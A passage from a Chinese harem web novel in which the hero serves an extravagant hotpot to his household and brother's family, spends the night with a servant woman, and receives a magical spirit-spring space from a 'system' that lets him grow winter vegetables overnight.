它不是普通饭菜的香,而是一种极具侵略性、能瞬间勾起人最原始食欲的魔性味道!
正在厅堂里摆放碗筷的四女,动作猛地一滞。
那股霸道的香气钻入鼻腔,四人几乎是同一时间,集体失神。
她们的身体仿佛被定住,只有鼻子在不受控制地疯狂翕动,眼睛越瞪越大,脸上不约而同地浮现出一种极致的的惊艳表情。
口中的津液,在这一刻疯狂分泌。
“咕咚。”
不知是谁,艰难地咽了一下口水,那声音在安静的厅堂里显得格外清晰。
“嗷呜——!”
角落里,原本还在打盹的团子,猛地从软垫上弹射而起!
它那双充满灵性的眼睛瞬间瞪得溜圆,那股味道对它的冲击,比对人类要强烈百倍!
它绕着厨房门口,像个被点着了尾巴的陀螺,疯狂地转着圈,喉咙里发出“嗷呜嗷呜”的急切叫声,长长的口水从嘴角“哗”地一下流了下来,在地上拖出一条晶莹的水线。
第110章 今天咱们尝个鲜
很快这股香味穿墙破瓦,乘着凛冽的寒风,浩浩荡荡地席卷了整个被冰雪覆盖的稻花村。
村东头,张老三家。
一家五口人正就着一碟黑乎乎的咸菜,啃着能硌掉牙的杂粮饼。风从窗户的破洞里灌进来,吹得油灯的火苗摇摇欲坠。
就在这时,那股味道钻了进来。
张老三啃饼的动作猛地僵住,他手里的饼还举在半空,鼻子却不受控制地疯狂翕动。那香味,辛辣,滚烫,瞬间攥住了他的胃。他艰难地咽了口唾沫,再看手里的干饼,只觉得味同嚼蜡。
他三岁的儿子更是直接,小嘴一瘪,“哇”的一声就哭了出来,一边哭一边含糊不清地喊:“肉……要吃肉肉……”
张老三的老婆怎么哄都哄不住,自己闻着那味儿,肚子也“咕咕”叫个不停,眼圈不知不觉就红了。
这样的场景,在稻花村的每一户人家里上演。
大雪封路,家家户户都只能靠着秋收剩下的一点存粮度日。这股突如其来的魔性香味,对饥寒交迫的村民们来说,不啻于最残酷的折磨。
无数人推开吱呀作响的木门,顶着风雪探出头,不约而同地望向村子中央,江夜家新院的方向。只见那高大气派的院落屋顶上,一个小巧的烟囱正冒着袅袅的炊烟,与周围死寂的景象格格不入。
“唉,这江夜过的,真是神仙日子啊……”一个老汉缩着脖子,满脸都是掩饰不住的羡慕。
“可不是嘛,咱们在这儿啃干饼,人家天天大鱼大肉,这人跟人的命,咋就差这么多?”
议论声中,充满了酸溜溜的羡慕和深深的无力感。
王翠花家,气氛更是降到了冰点。
她本就因为天冷没事干,正叉着腰对着闷头抽旱烟的王大壮骂骂咧咧,唾沫星子横飞。
“你个窝囊废!你看人家江峰,现在都成‘江师傅’了,收钱收到手软!你再看看你?屁本事没有,就知道蹲在这儿浪费粮食!”
王大壮低着头,一声不敢吭。
就在这时,那股霸道的香味飘了进来。
王翠花的咒骂声戛然而止,她像只被掐住脖子的鸭子,眼睛瞪得溜圆。她使劲吸了吸鼻子,那股浓郁的辛辣肉香瞬间冲入脑海,仿佛在嘲笑她桌上那碗清汤寡水。
嫉妒的火焰“噌”地一下就烧到了头顶。
“又是他家!又是江夜那个小杂种!”
她脸上的肌肉因为极致的嫉妒而扭曲起来,再也控制不住情绪,抓起桌上的一个陶碗,狠狠地朝地上一砸!
“啪!”
陶碗碎裂的声音尖锐刺耳。
“老天爷不开眼啊!凭什么!凭什么他一个小王八犊子能过得这么好!”王翠花气得浑身发抖,嘴里发出怨毒的咒骂。
而另一边,刘巧嘴家更是凄风苦雨。
母子俩围着一盆半死不活的炭火,冻得嘴唇发紫。王大虎那只被打断的手腕还用破布吊着,阴雨天里疼得钻心。
当那股象香味飘进来时,母子俩对视一眼,眼神中的怨毒几乎要凝成实质。
“娘……我冷,我饿……”王大虎闻着那味道,感觉自己的肚子和断手一样疼,声音里带着哭腔。
刘巧嘴死死地盯着江夜家的方向,枯瘦的手指甲几乎要嵌进肉里:“等着……早晚有一天,他们家会遭报应的!”
……
江家院内,江夜对外界的一切浑然不觉。
江夜端着两只陶盆,从厨房走出。
一只盆里,是刚刚用牛油和几十种香料炒出的红油锅底,色泽红亮,辣气冲天。另一只盆里,则是用异虎骨熬了数个时辰的滋补骨汤,汤色奶白,浓郁醇厚。
他走到厅堂中央,将两种汤底,分别倒入那奇特的鸳鸯锅两侧。
“嗤啦——”
滚烫的汤汁与冰凉的铜锅接触,发出一声轻响。
随后,江夜将铜锅稳稳地架在一个特制的、里面烧着红旺炭火的小巧炉子上。
很快,锅中的汤汁开始翻滚。
一边是红油滚滚,辣椒花椒沉浮,霸道的麻辣鲜香愈发逼人;另一边是白汤沸腾,枸杞红枣翻滚,温润的滋补浓香沁人心脾
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。
红白分明,泾渭清晰,两种极致的香气交织在一起,形成一种让人神魂颠倒的魔力。
四女早已被这阵仗惊得说不出话,只是围着桌子,一双双美眸死死盯着锅里,喉头不自觉地滚动。
“开动之前,还缺点人。”
江夜笑着说了一句,披上外衣,推门走进了风雪里。
没过多久,江夜便领着江峰一家三口,踏着积雪,走进了院门。
“小峰,这么冷的天,叫我们过来干啥……”
江峰搓着手,话还没说完,声音就卡在了喉咙里。
他、王慧慧和被他抱在怀里的琼琼,在踏入厅堂门槛的那一刻,那股混合着霸道辛辣与醇厚肉香的暖流,便扑面而来。
眼前的景象,更是让他们的大脑瞬间一片空白。
只见温暖明亮的厅堂里,四个只穿着单薄罗裙、美得不像凡人的女子,正围着一张矮桌。桌子中央,一个金光闪闪的奇特铜锅正“咕嘟咕嘟”冒着热气,一半红,一半白,香得让人腿软。
桌上,更是摆满了他们这辈子都没见过的阵仗——一盘盘切得薄如纸翼、纹理清晰的鲜红肉片,还有酒香醇厚的异虎虎骨酒。
江峰呆立当场,嘴巴半张,彻底傻了。
王慧慧更是浑身一震,她看着眼前这精美绝伦的铜锅,看着那满桌闻所未闻的丰盛菜肴,她感觉自己的认知正在被颠覆,被重塑。
她这辈子,别说吃,就是做梦,都梦不到如此奢华离奇的场面。
“哇……”
**峰抱在怀里的琼琼,一双乌溜溜的大眼睛瞪得溜圆,她的小鼻子使劲嗅着,口水顺着嘴角就流了下来,奶声奶气地指着桌上的肉片,满眼都是渴望。
“叔叔家……好香……是在煮神仙汤吗?”
看着大哥一家三口那副被惊掉下巴的模样,江夜心中好笑,上前拉过还处在呆滞中的江峰。
“哥,嫂子,别站着了,快坐。”
他将江峰按在座位上,又招呼王慧慧和琼琼坐下。
“今天咱们尝个鲜。”
第111章 要是有点青菜就好了
江夜笑着招呼众人落座,亲自示范。
他用特制的加长竹筷,稳稳夹起一片薄如蝉翼的异虎肉,在那翻滚沸腾的红汤中,轻轻涮烫。
“看好了,这叫七上八下。”
他的声音带着笑意,筷子在汤中一提一放,动作极富韵律。
不过短短几个呼吸,原本鲜红的肉片便微微卷曲,裹上了一层红亮诱人的油光,霸道的香气愈发浓烈。
江夜将肉片从红汤中捞出,放入自己面前一只盛着蒜蓉香油的小碗里滚了一圈,然后才不紧不慢地送入口中。
那一瞬间,他舒服地眯起了眼睛。
肉片的鲜嫩,汤底的麻辣,蘸料的咸香,在口腔中层层叠叠地炸开,滚烫的暖意顺着喉咙一路滑下,瞬间点燃了整个胃。
“嘶……爽!”
一个字,仿佛带着无穷的魔力。
桌上所有人都看傻了,尤其是慕容晴,她那双漂亮的凤眼瞪得溜圆,喉头不自觉地滚动了一下。
“看着还挺讲究。”
她撇了撇嘴,嘴上说着,手上的动作却比谁都快。
她学着江夜的样子,夹起一片最大的狍子肉,有些粗鲁地在红汤里搅了七八下,也顾不上蘸料,直接就塞进了自己那丰润的红唇里。
肉片入口的瞬间,慕容晴整个人都僵住了。
下一秒,她那张扬美艳的俏脸瞬间涨红,一双美眸里先是震惊,随即爆发出惊为天人的神采。
那股霸道的辛辣混着牛油的醇厚,如同细密的电流,瞬间窜遍舌尖的每一个角落,紧接着,肉片本身的极致鲜嫩和汤汁的滚烫一同爆发。
“哈……好吃!”
半晌,慕容晴才长长地吐出一口热气,一声酣畅淋漓的赞叹脱口而出。
她二话不说,立刻夹起第二片,第三片,动作越来越快,吃得香汗淋漓,俏脸生霞。
有了她这个榜样,其他人哪里还忍得住。
“我也要!我也要!”白梦秋娇呼一声,迫不及不及待地开动。
一时间,温暖的厅堂里,再无半句闲聊,只剩下筷子与铜锅碰撞的轻响,以及此起彼伏、压抑不住的吸气声和满足的喟叹声。
白梦夏和白梦秋姐妹俩吃得小脸通红,额角渗出细密的汗珠,一双美眸水汪汪的,不时看向江夜,眼神里满是崇拜与柔情。
林间雪起初还有些拘谨,但在尝了一口那白汤里的肉片后,也彻底放开了。那温润醇厚的滋味,仿佛能抚平她心中所有的不安,她小口小口地吃着,眼角眉梢都带着满足的笑意。
而反应最强烈的,莫过于江峰一家。
江峰和王慧慧这对老实巴交的夫妻,哪里见过这种吃法,尝过这种味道。
王慧慧夹了一片狼里脊,在白汤里涮熟,小心翼翼地送入口中。
肉的鲜美混合着骨汤的浓醇,瞬间让她瞪大了眼睛。她这辈子,都在为了填饱肚子而奔波,吃得最多的就是粗粮和咸菜,何曾想过这肉还能有这么奢侈的吃饭。
她又壮着胆子,试了一片红汤里的。
那股辛辣瞬间让她呛得咳嗽起来,眼泪都流了出来,可紧随其后的那股麻辣鲜香,却又让她舍不得吐掉,一边流泪,一边大口咀嚼,表情痛苦又极致享受。
她吃着吃着,眼泪就毫无征兆地掉了下来,一滴一滴砸进面前的碗里。
她没哭出声,只是飞快地用粗糙的袖子抹了一把脸,然后更用力地往嘴里塞了一大口肉,仿佛想用这极致的美味,堵住喉咙里涌上的所有辛酸和感激。
江峰则完全是另一番模样。
这个憨厚的汉子,只是闷着头,一片接一片地涮肉,一口接一口地喝酒。他吃得满嘴流油,脸膛涨得通红,眼眶也
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跟着红了。
他什么话都没说,只是偶尔在喝酒的间隙,会抬起头,用一种无比复杂和感激的眼神,深深地看一眼自己的弟弟。
千言万语,都在那一口酒,一口肉里。
“叔叔!这个好好吃!琼琼还要!”
琼琼的小脸蛋吃得像个红苹果,小嘴塞得鼓鼓囊囊的。她一边努力地嚼着,一边含糊不清地举着自己的小碗,满眼都是对江夜的崇拜。
江夜被她逗得哈哈大笑,又夹了一块最嫩的肉,在白汤里涮好,吹凉了才放进她碗里。
“嗷呜!”
角落里,团子急得原地打转,它看着满桌的人都在享受美味,唯独自己被隔绝在外,那股霸道的香味折磨得它口水流了一地,喉咙里发出委屈的呜咽声。
江夜瞥了它一眼,好笑地扔过去一大块没涮过的生肉。
团子立刻欢呼一声,叼着肉跑到角落,三两口就吞了下去,随即又眼巴巴地看了过来,显然,它也被那锅里的味道给迷住了。
屋外,风雪呼啸,天地一片冰冷死寂。
屋内,炭火红旺,铜锅咕嘟,暖意融融,香气四溢。
众**口吃肉,大口喝酒,气氛热烈到了极点。每个人脸上都洋溢着发自内心的幸福和满足。
江夜靠在椅背上,左手端着温热的虎骨酒,右手偶尔夹起一片肉涮烫,看着眼前这一幕,心中一片惬意与满足。
家,就该是这个样子的。
温暖,热闹,有他爱的人和爱他的人,有酒,有肉。
只是……
他目光扫过桌上清一色的各种肉片,虽然都是极品,但吃多了,总觉得缺了点什么。
江夜咂了咂嘴,略带遗憾地轻声感叹了一句。
“唉,可惜了,要是能有点新鲜的青菜,配着这火锅涮一下,那味道,才叫真正的绝了。”
第112章 往后,都是好日子
酒足饭饱,铜锅里的汤汁都已见底,众人才意犹未尽地放下筷子。
每个人脸上都带着微醺的酡红,惬意地靠在椅背上,满脸都是极致的满足。
屋外风雪依旧,屋内却温暖如春,这份安逸与舒适,让所有人都有些昏昏欲睡。
王慧慧看着怀里已经吃饱喝足、昏昏欲睡的女儿琼琼,小丫头的小脸红扑扑的,嘴角还挂着一丝油渍,睡梦中都砸吧着小嘴,似乎还在回味刚才的人间至味。
她的目光从女儿身上,又移到身旁同样满脸红光的丈夫江峰身上,眼前的温暖,腹中的饱足,怀里的女儿……这一切的一切,都像是一场不真实的梦。
她想起去年冬天,同样的大雪天,一家三口挤在破旧的屋子里,裹着单薄的被子瑟瑟发抖,锅里只有一点稀得能照见人影的米汤。琼琼饿得直哭,她和江峰心如刀绞,却毫无办法。
再看看现在。
住的屋子有了火墙,温暖如春;丈夫有了能养家糊口、受人尊敬的手艺;自己和女儿身上,也穿上了柔软暖和的新衣……
这一切翻天覆地的变化,都源于眼前这个曾经被她打心底里瞧不起、埋怨了无数次的小叔子。
巨大的幸福感和过往的辛酸形成了强烈的对比,瞬间冲垮了王慧慧心中所有的防线。
王慧慧放下怀中的琼琼,和江峰对视一眼,借着那股温热的酒意,夫妻俩一齐站起身,走到江夜面前,对着他就要重重拜下。
江夜眼疾手快,一把将两人扶住,不让他们跪下。
“哥,嫂子,这干什么,一家人不说两家话。”
王慧慧眼圈通红,泪光在眼眶里打转,她看着眼前这个小叔子,喉咙哽咽:“小夜,要不是你……我们一家人现在还啃着干饼喝着冷风,哪能想到……这辈子还能过上今天这样的日子。这份恩情,我们……”
她说着说着,就泣不成声,后面的话再也说不下去。
江峰这个七尺高的汉子,此刻也是虎目含泪,他嘴笨,说不出什么漂亮话,最后只是伸出那只粗糙的大手,重重地拍在江夜的肩膀上。
那力道,沉甸甸的,包含了一个兄长所有的感激与信赖。
一切,尽在不言中。
江夜心中一暖,笑着捶了江峰胸口一下:“哥,说这些就见外了。咱们是亲兄弟,往后,都是好日子。”
“嗯!好日子!”江峰用力点头,眼眶湿润。
一家人又说笑了片刻,气氛温馨感人。
眼看夜深,宴席散去,江夜将大哥一家送至门口。
江峰抱着已经睡熟的琼琼,王慧慧紧紧跟在丈夫身边,夫妻俩一步三回头,满眼都是不舍和感激,身影很快便消失在茫茫风雪中。
屋内,白梦夏姐妹和慕容晴也确实有了几分酒意,加上身子暖融融的,困意上涌,便各自回房歇息去了。
热闹的厅堂瞬间安静下来,只剩下跳跃的炭火,以及还在默默收拾着碗筷的林间雪。
她也喝了些酒,那张本就妩媚的俏脸此刻绯红一片,眼神带着几分水汽,迷离又动人。或许是酒精的作用,又或许是温暖的火光,让她整个人看起来比平时更加丰腴柔媚,一举一动都散发着惊人的风情。
碗筷碰撞发出清脆的轻响,她将桌子擦拭干净,把一切都收拾得井井有条。
当她做完这一切,端着最后一盆水准备离开时,脚步却在江夜身边顿住了。
男人就那么随意地靠在椅上,手里端着一杯残酒,目光落在屋外纷飞的大雪上,温暖的火光在他轮廓分明的侧脸上投下一片柔和的光影,让他整个人看起来有种说不出的魅力。
酒意,像一只温柔的手,轻轻拨动着林间雪的心弦。
白天那个羞涩又悸动的吻,晚上这顿神仙般的火锅,还有他为自己出头时那霸道的背影,一幕一幕,在她脑海里交织、翻滚。
这些天发生的一切,像一场不真实的梦。
她从一个被全村人嫌弃、被小叔子欺凌、食不果腹的扫把星,变成了如今能坐在这样温暖明亮的屋子里,吃着闻所未闻的美食,甚至……还能得到这个神仙般男人的庇护和温柔。
所有的自卑,所有的恐惧,似乎都在那滚烫的酒意和心底涌起的暖流中,一点点融化了。
她看着江夜,心跳如擂鼓,一下,又一下,撞击着她的胸腔。
一种前所未有的冲动,让她几乎
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无法呼吸。
她想靠近他,想……再多感受一下他身上的气息。
这个念头一出现,就再也无法遏制。
林间雪咬着丰润的红唇,放下手中的木盆,悄无声息地走到了江夜的身后。
她伸出有些发颤的双臂,从背后紧紧环住了江夜的腰,将自己滚烫的脸颊,深深贴在他宽阔而坚实的后背上。
江夜的身体猛地一僵。
他能清晰地感受到身后那惊心动魄的柔软,以及隔着衣料传来的、仿佛能将人融化的滚烫温度。
“主人……”
林间雪带着浓重的鼻音和醉意,在他耳边呜咽出声,温热的泪水瞬间浸湿了他背后的衣衫。
她语无伦次,像个溺水的人抓住了唯一的浮木:“谢谢你……谢谢你给我新生……给我做人的尊严……我……我这条命是你救回来的……我想伺候你……一辈子……”
温热的气息混着酒香,一下下喷吐在江夜的耳畔和脖颈,像一根羽毛,又像一簇火苗,让他心中的火焰,“轰”的一下熊熊燃烧起来。
他猛地抓住她环在自己腰间的手,手腕用力,转身就将她整个人从身后拉了过来。
“啊!”
林间雪发出一声短促的惊呼,天旋地转间,已经跌坐在了江夜的大腿上。
她惊慌地抬头,瞬间对上他那双在火光下燃烧着两簇火焰的深邃眸子,那眼神里的滚烫和侵略性,让她的大脑轰然一声,瞬间一片空白。
江夜不等她有任何反应,一手扣住她的后脑,低头便吻住了她那还在微微颤抖的丰润红唇。
这个吻,霸道,滚烫,不带一丝犹豫。
林间雪的身体剧烈地颤抖了一下,脑子里最后一根名为矜持和羞涩的弦,在这一刻被彻底点燃、崩断。
她呜咽一声,闭上眼,热情地回应起来。
江夜感受着她的回应,眼中的火焰愈发炽热。
他一把将她拦腰抱起,在女人压抑的惊呼声中,大步流星地走向自己的卧房。
屋外,风雪更甚,狂风呼啸,仿佛要将整个世界都吞噬。
屋内的火炕早已烧得暖融融的,一室春色,却在这一刻,才刚刚开始变得浓郁起来。
第113章 灵泉空间
清晨,卧房内暖意融融,巨大的火炕散发着持续的温热,与窗外呼啸的风雪恍若两个世界。
江夜在一片温香软玉中醒来。
他缓缓睁开眼,首先映入眼帘的,是身旁林间雪恬静的睡颜。许是昨夜被滋润得狠了,她睡得极沉,长长的睫毛在眼下投出一片小小的阴影,原本总是带着一丝怯懦和不安的眉眼,此刻舒展得无比安详。那张妩媚的俏脸上还带着一丝酡红,丰腴浮凸的曲线在柔软的锦被下毕露无遗,整个人散发着一种雨后初晴般的极致柔媚。
江夜忍不住伸出手,轻轻拂开她脸颊边的一缕秀发。
就在此时,冰冷的系统提示音毫无征兆地在脑中响起。
【叮!恭喜宿主成功采撷极品鼎炉(林间雪),鼎炉已受孕!】
【恭喜宿主获得奖励:灵泉空间*1!】
江夜先是一愣,随即一股狂喜如电流般瞬间窜遍四肢百骸。
怀……怀孕了?
这就怀上了?
他低头,看向身侧睡颜安详的女人,眼神瞬间变得无比复杂,有惊愕,有狂喜,但更多的,是化不开的柔情与怜爱。
这个傻女人,总说自己是克夫的扫把星,却不知,她才是能给自己带来天大福运的宝贝。
江夜心中火热,强压下立刻将她摇醒的冲动,心念一动,按照系统的指引,将意识沉入脑海深处。
他只觉得眼前一花,意识仿佛被一股无形的力量抽离,瞬间进入了一片白雾蒙蒙的奇异空间。
这片空间不大,约莫一亩见方。空间的正中央,有一口不过脸盆大小的小小泉眼,正“咕嘟咕嘟”地不断向外冒着氤氲的白色灵气,仅仅是意识身处此地,江夜都感觉一种前所未有的神清气爽。
泉眼旁边,是几分漆黑如墨的肥沃土地,散发着一股好闻的泥土芬芳。江夜的意识“看”着那片土地,甚至能感觉到其中蕴含的磅礴生机。
【灵泉空间:内部时间流速为外界十倍。】
【灵泉:蕴含天地灵气,可洗筋伐髓,改造体质,亦可催生万物。】
【灵土:历经万年滋养的极品灵土,可种植一切灵植,并极大缩短其生长周期,提升其品质。】
江夜的意识在空间里“飘荡”,感受着那浓郁到几乎化为实质的灵气,心中的狂喜已经无法用言语来形容。
逆天!
这简直就是逆天的神器!
时间流速十倍,意味着外界过去一天,这里面就是十天。
灵泉水能洗筋伐髓,催生万物。
灵土能种一切灵植,还带加速和增益buff。
他第一个念头,就是昨天吃火锅时,自己那句带着遗憾的感叹——“要是能有点新鲜的青菜就好了。”
有了这灵泉空间,别说青菜,就是在这滴水成冰的隆冬,他想吃什么,种下种子,用灵泉水一浇,再配合这十倍的时间流速,恐怕外界不过一两天,他就能收获满满一空间的顶级蔬菜!
到时候,外面大雪封山,人人啃着干饼咸菜,他家里却能围着火锅,涮着刚从地里摘下来的、水灵灵的青菜……
那画面,光是想一想,就让江夜爽得头皮发麻。
而且,这还只是最浅显的用法!
他完全可以移植一些珍稀药材进来,用灵泉水浇灌,年份不够的药材,在这里面种上一个月,就相当于外界快一年的长势,而且品质绝对远超凡品!
到时候,再用这些顶级药材去酿酒……那酿出来的,恐怕就不是凡酒,而是真正的琼浆玉液了!
江夜的呼吸都变得粗重起来,他强压下心中的激动,意识缓缓退出了空间。
他睁开眼,目光再次落在林间雪身上,眼神愈发滚烫和温柔。这个女人,简直是他的福星!
他轻手轻脚起身,为林间雪掖好被角,才披上外衣,推门而出。
刺骨的寒风扑面而来,江夜深吸一口气,冰冷的空气涌入肺腑,却丝毫无法浇灭他脑中的火热。
灵泉空间!
十倍的时间流速!
蕴含灵气的泉水和能加速万物生长的灵土!
他想起昨夜火锅宴上,自己那句无心的感叹,一个绝妙的念头在脑中疯狂滋生,嘴角的笑意再也抑制不住。
说干就干,他转身走向院子角落的仓库,很快就翻出了铁锹和锄头,走到院子角落那片被厚厚积雪覆盖的空地前。
因为火墙的缘故,整个院子的地气都比别处温热,积雪之下,泥土并未冻得如顽石般坚硬。
他抡起铁锹,一铲下去,积雪**净利落地掀开,露出下面湿润松软的黑色泥土。
“哐当……唰……”
“哐当……唰……”
在这万籁俱寂的雪后清晨,这单调而富有节奏的声响,显得格外突兀。
卧房内,睡得正香的白梦秋最先被惊醒,她长长的睫毛颤了颤,有些迷糊地睁开眼。
“什么声音……”她嘟囔了一句,翻了个身,想把脑袋埋进温暖的被窝里继续睡。
可那声音持续不断,像是有谁在院子里一下一下地凿着什么。
她终究是没能睡着,好奇心战胜了懒意,轻手轻脚地爬起来,披上一件厚实的外衣,蹑手蹑脚地走
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到窗边,悄悄推开一条缝隙朝外望去。
只看了一眼,她那双漂亮的杏眼就瞬间瞪圆了,小嘴微张,满脸都是不可思议。
屋外,漫天风雪依旧,整个世界白茫茫一片。
而她的夫君江夜,此刻正在那片雪地里,抡着锄头一下一下地刨着地。
“姐!雪儿妹妹!慕容姐姐!你们快来看!”
白梦秋再也顾不上别的,转身就去喊还在熟睡的几人。
很快,白梦夏、林间雪和慕容晴也都被她从温暖的被窝里拽了起来。
“怎么了梦秋,大清早的……”白梦夏睡眼惺忪,揉着眼睛问道。
“夫君他……他好像疯了!”白梦秋指着窗外,一脸的匪夷所思。
四女披着外衣,挤到窗边,当她们看清院子里的景象时,集体陷入了呆滞。
“这……大冬天的,刨地做什么?”慕容晴秀眉紧蹙,她见多识广,也从未见过这等怪事。
林间雪则一言不发,只是看着那个在风雪中挥汗如雨的男人背影,美眸中除了困惑,更多的是一种盲目的信赖和崇拜。
在她心里,这个男人做什么,都是对的。
“走,出去看看!”
白梦秋最好奇,也最是按捺不住,她裹紧了身上的狐裘大衣,第一个推门跑了出去。
“夫君!”
她清脆的声音在院中响起,带着一丝急切。
江夜停下手中的动作,转过身,看到四位风情各异的美人儿都披着厚衣,站在廊下,正满脸困惑地看着自己,他不由得笑了起来。
白梦秋像只花蝴蝶般跑到他身边,看着他刨开的那一小片黑土地,拉着他的衣袖,仰着小脸问道:“夫君,你这是干嘛呀?这大雪天的,地里又不能长东西,你刨它做什么?”
江夜没有直接回答,而是卖了个关子,他擦了擦额头的汗,神秘一笑。
“昨天的火锅,好吃吗?”
“好吃呀!”白梦秋想也不想就点头,随即舔了舔嘴唇,似乎还在回味,“就是……就是像夫君说的那样,要是有点青菜就好了。”
江夜脸上的笑意更浓,他用下巴指了指脚下那片刚翻好的土地,语气轻松得仿佛在说一件再平常不过的小事。
“那不就得了。我寻思着,给你们种点下次吃火锅用的青菜。”
话音落下,整个院子瞬间陷入了一片死寂。
廊下的白梦夏、林间雪和慕容晴,脸上的表情瞬间凝固。
而站在江夜身边的白梦秋,更是直接傻在了原地。
种……种菜?
在这滴水成冰的隆冬里?
第114章 冬日种菜?
江夜看她们呆呆地愣在原地,也不解释,只是神秘一笑,转身走向院子角落的仓库。
片刻后,他拿着一个布包走了出来,里面是些干瘪的种子,有青菜、有菠菜,都是他之前随手收集的。
在四女不解的注视下,他将那些看起来毫无生机的种子,均匀地撒在了那片刚翻好的黑土地上。
白梦秋还想再问,却被跟上来的白梦夏轻轻拉住了。白梦夏冲她摇了摇头,美眸望向江夜的背影,眼神里虽同样充满了困惑,但更多的是一种无条件的信任。
这个男人,总是能做出一些超乎常理,却又总能成功的事情。
江夜撒完种子,拍了拍手,站起身来。
“我去提桶水来。”
他丢下这句话,便走进了厨房。
很快,江夜提着一个装满了清水的木桶从厨房里走了出来。他当然不会直接暴露灵泉,只是借着进厨房的功夫,心念一动,将一桶灵泉水灌入了木桶中。
那水看起来与寻常井水无异,清澈见底,但其中却氤氲流转着淡淡灵气。
他走到那片小小的菜地前,舀起水,仔仔细细地将每一寸土地都浇得透透的。
做完这一切,他又抱来一大捆干爽的稻草,厚厚地铺在了菜地上,将黑色的土地和那些种子完全覆盖。
“好了,大功告成。”江夜拍了拍手上的草屑,看着自己的杰作,满意地点了点头。
“夫君,盖上这个做什么?”白梦秋好奇地戳了戳那层厚厚的稻草。
“保暖。”江夜煞有介事地解释,“咱们这院子底下有火墙的地气,本就比别处暖和。再盖上这层稻草,把那股热乎劲儿聚住,不让风雪把它吹跑了。这样一来,种子不就跟睡在暖炕上一样了?”
一番话说得有理有据,四女听得一愣一愣的。
虽然还是觉得有些匪夷所思,但看着江夜那副胸有成竹的模样,她们心中那点疑虑,不知不觉就变成了浓浓的期待。
或许……真的能行呢?
……
翌日,天还未亮透,林间雪便已悄然起身。
这是她多年来养成的习惯,即便如今生活好了,不用再看人脸色,她也总是第一个醒来,默默地将家里打理得井井有条。
院子里积了薄薄一层新雪,她拿起扫帚,正准备清扫,脚步却在路过院子角落时,猛地顿住了。
她的目光,无意间瞥见了那堆厚厚的稻草。
不知是不是错觉,她好像看到,在稻草的缝隙间,透出了一抹极淡、却又无比鲜活的翠绿。
她心中一动,好奇地走上前,蹲下身,伸出纤纤玉指,轻轻拨开了一小片稻草。
就是这一眼,让她整个人如遭雷击,瞬间僵在了原地。
那双总是带着几分怯意的妩媚美眸,此刻瞪得浑圆,小巧的嘴巴微微张开,脸上写满了极致的骇然与不可思议。
只见那片被稻草覆盖的黑土地上,哪里还是昨天光秃秃的模样?
密密麻麻的嫩芽,破土而出!
每一株都不过寸许高,却绿得仿佛能滴出水来,在晨曦微光下,散发着勃勃生机,与周围冰天雪地的萧瑟形成了无比强烈的对比。
这……这怎么可能!
林间雪使劲揉了揉自己的眼睛,确认眼前看到的不是幻觉。
仅仅一夜之间,昨天才撒下的干瘪种子,竟然真的发芽了,而且长势如此喜人!
“啊——”
一声短促又压抑不住的惊呼,从她口中逸出。
她再也顾不上其他,提着裙摆,跌跌撞撞地就朝屋里跑去。
“夫……夫人!慕容姑娘!快……快出来看啊!”
她的声音带着颤抖,像是看到了什么神迹。
屋内的白梦夏、白梦秋和慕容晴瞬间被惊醒,听到林间雪那激动的声音,还以为出了什么事,连忙披上外衣就冲了出来。
“雪儿妹妹,怎么了?”白梦夏一脸担忧。
林间雪却说不出话,只是伸手指着院子的角落,一张俏脸因为激动而涨得通红。
三人顺着她指的方向看去,当她们看清那片翠绿时,下一秒,集体石化在了原地。
廊下,三位风情各异的绝色美人,此刻的表情如出一辙。
美眸圆睁,檀口微张,大脑一片空白。
“这……这……”白梦秋结结巴巴,指着那片绿油油的菜地,又猛
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地扭头看向刚刚推门走出的江夜,声音都变了调,“夫君……这……这是你昨天种的?”
江夜打了个哈欠,看着她们那副见了鬼的表情,淡然一笑,仿佛一切都在意料之中。
“不然呢?”
他走到菜地边,满意地看着那些茁壮成长的幼苗。灵泉水的效果,果然霸道。
“可……可这才一夜啊!”慕容晴也回过神来,她快步走到菜地前,蹲下身,难以置信地看着那些鲜嫩的菜苗,喃喃自语,“就算是春天,也没见过长这么快的……这简直是神迹!”
白梦夏和白梦秋也围了过来,看着眼前这颠覆认知的一幕,再齐刷刷地扭头,望向那个神情淡然的男人。
那眼神,已经从最初的震惊,化为了无以复加的骇然,最后,又尽数变成了狂热的崇拜。
如果说,之前的酿酒、造火墙,还能用“手艺精湛”来解释。
那眼前这违背天时、逆转四序的手段,在她们眼中,与真正的神仙,又有何异?
江夜看着她们那一个个像是要把自己吞下去的眼神,心中暗笑,面上却不动声色,再次将昨天的说辞搬了出来。
“都说了,是火墙的地气暖着,加上稻草保温。没什么大不了的。”
没什么大不了的?
四女听着他这轻描淡写的解释,嘴角齐齐抽搐了一下。
这种夺天地造化的手段,还叫没什么大不了的?
但此刻,她们看着江夜,那双双美眸里,早已是小星星乱冒,哪里还会有半分怀疑。
在她们心里,江夜说什么,便是什么。
他说这是火墙和稻草的功劳,那便一定是!
这个男人,总能用一种她们无法理解的方式,创造一个又一个奇迹。
“夫君……你好厉害……”白梦秋看着江夜,一双杏眼里全是崇拜的光芒,几乎要化为实质。
白梦夏和林间雪也是连连点头,看向江夜的目光,温柔得几乎要滴出水来。
江夜享受着美人们崇拜的目光,心中无比受用,他大手一挥,豪气干云。
“看着吧,最多再过两天,咱们就能吃上最新鲜的青菜涮火锅了!”
第116章 贼心起
宴席正式开始。
有段时间没见过半点绿色的江峰,第一时间就夹了一筷子青菜。
他活了半辈子,就没在滴水成冰的冬天里见过这么水灵的青菜。
他学着江夜的样子,将青菜在滚烫的红汤里涮了涮,那鲜亮的绿色瞬间裹上了一层诱人的红油,香气愈发霸道。
他迫不及待地将菜叶送入口中。
下一秒,江峰的眼睛猛然瞪圆。
青菜的清甜与爽脆,在舌尖轰然爆开!那股清新的滋味,混合着肉汤的醇厚与鲜美,化作一股无法形容的极致享受,席卷了整个口腔。
他舒服得浑身一颤,脸上露出一种极致惊艳又带着几分迷醉的表情。
“好吃!太好吃了!”江峰含糊不清地赞叹着,立刻又夹了一大筷子青菜,在红汤里涮了涮,大口咀嚼起来,辣意与清甜交织,让他额头瞬间冒汗,却又爽得停不下来。
王慧慧和琼琼见状,也连忙学着样子开吃。
“唔……好吃!”王慧慧吃得满嘴流油,那张因常年劳作而略显疲惫的脸上,此刻洋溢着一种纯粹的幸福感。她一会儿涮肉,一会儿烫菜,吃得不亦乐乎。
琼琼的小嘴更是塞得鼓鼓囊囊,小脸吃得通红,一边嚼着,一边含糊不清地冲江夜竖起大拇指:“叔叔家的菜,比肉还好吃!”
童言无忌,引得满桌人哈哈大笑。
